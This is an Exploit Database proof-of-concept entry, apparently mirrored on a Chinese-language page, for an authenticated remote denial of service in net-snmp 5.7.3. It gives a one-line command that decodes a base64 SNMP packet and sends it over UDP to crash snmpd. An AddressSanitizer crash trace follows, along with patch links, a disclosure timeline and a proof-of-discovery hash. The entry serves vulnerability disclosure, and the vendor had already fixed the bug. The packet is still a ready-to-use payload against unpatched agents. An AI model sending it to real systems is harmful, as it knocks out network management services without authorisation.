net-snmp 5.7.3 – (Authenticated) Denial of Service (PoC)

• Exploit Database
• 13 阅读

• 作者： Magnus Klaaborg Stubman
  日期： 2018-10-08
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/45547/

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  2018-10-08
  
  NET-SNMP REMOTE DOS
  ===================
  
  Second bug is remotely exploitable only with knowledge of the community string (in this case "public") leading to Denial of Service:
  
  # echo -n "MIGfAgEBBAZwdWJsaWOhgZECATwCAQECAUAwgYUwIgYSKwYBBAGBfQgzCgIBBwqG3rc1BAwxNzIuMzEuMTkuNzMwFwYSKwYBAgEBCQEEgQECAAqG3rlgAgECMCMGEgsGAQQBgX0IMwoCAQcKht63NgQNMjU1LjI1NS4yNTUuMDAhBhIrBgECAQEJBgECAQoDAIbetzgECzE3Mi4zMS4xOS4y" | base64 -d > /dev/udp/127.0.0.1/1111
  
  # net-snmp-5.7.3/agent/snmpd -f -d -V -c ../../snmpd.conf -Ln127.0.0.1:1111
  ASAN:SIGSEGV
  =================================================================
  ==41062==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000410 (pc 0x00000075bc0f bp 0x7ffdda226b10 sp 0x7ffdda2269e0 T0)
  #0 0x75bc0e in _set_key /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:564:9
  #1 0x75bc0e in _data_lookup /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:614
  #2 0x75bc0e in _container_table_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:749
  #3 0x572262 in netsnmp_call_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:526:15
  #4 0x572dc4 in netsnmp_call_next_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:640:12
  #5 0x58751c in table_helper_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table.c:713:9
  #6 0x572262 in netsnmp_call_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:526:15
  #7 0x572c79 in netsnmp_call_handlers /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:611:14
  #8 0x520d86 in handle_var_requests /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:2679:22
  #9 0x524dbe in handle_pdu /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:3441:18
  #10 0x51b976 in netsnmp_handle_request /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:3284:14
  #11 0x515876 in handle_snmp_packet /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:1990:10
  #12 0x7f3558 in _sess_process_packet /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5437:7
  #13 0x7ef331 in _sess_read /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5877:14
  #14 0x7ed2e0 in snmp_sess_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5911:10
  #15 0x7ed2e0 in snmp_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5502
  #16 0x4f9286 in receive /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1375:15
  #17 0x4f9286 in main /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1118
  #18 0x7fc1acb11b44 in __libc_start_main /build/glibc-6V9RKT/glibc-2.19/csu/libc-start.c:287
  #19 0x4f617c in _start (/home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd+0x4f617c)
  
  AddressSanitizer can not provide additional info.
  SUMMARY: AddressSanitizer: SEGV /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:564 _set_key
  ==41062==ABORTING
  
  
  PATCHES
  =======
  
  Vuln#2: sourceforge.net/p/net-snmp/code/ci/7ffb8e25a0db851953155de91f0170e9bf8c457d
  
  
  TIMELINE
  ========
  
  2015-04-11 Vendor releases patch of bug#1 in version control - no public article or otherwise disclosure
  2016-10-06 Vendor releases patch of bug#2 in version control - no public article or otherwise disclosure
  2018-01-05 I discovered both bugs
  2018-01-08 Vendor notified
  2018-01-08 Vendor responds - bugs already fixed in version control repo
  2018-10-08 Public disclosure of exploit
  
  PROOF OF DISCOVERY
  ==================
  
   # cat vuln2 | base64
  MIGfAgEBBAZwdWJsaWOhgZECATwCAQECAUAwgYUwIgYSKwYBBAGBfQgzCgIBBwqG3rc1BAwxNzIu
  MzEuMTkuNzMwFwYSKwYBAgEBCQEEgQECAAqG3rlgAgECMCMGEgsGAQQBgX0IMwoCAQcKht63NgQN
  MjU1LjI1NS4yNTUuMDAhBhIrBgECAQEJBgECAQoDAIbetzgECzE3Mi4zMS4xOS4y
  # sha256sum vuln2
  b7f0e494b8a91c6fedb7e13b3b8dab68a951b5fdc21dd876ae91eb86924018f2vuln2
  twitter.com/magnusstubman/status/949520565064404994
  
  
  REFERENCES
  ==========
  
  - sourceforge.net/p/net-snmp/bugs/2820
  - sourceforge.net/p/net-snmp/bugs/2819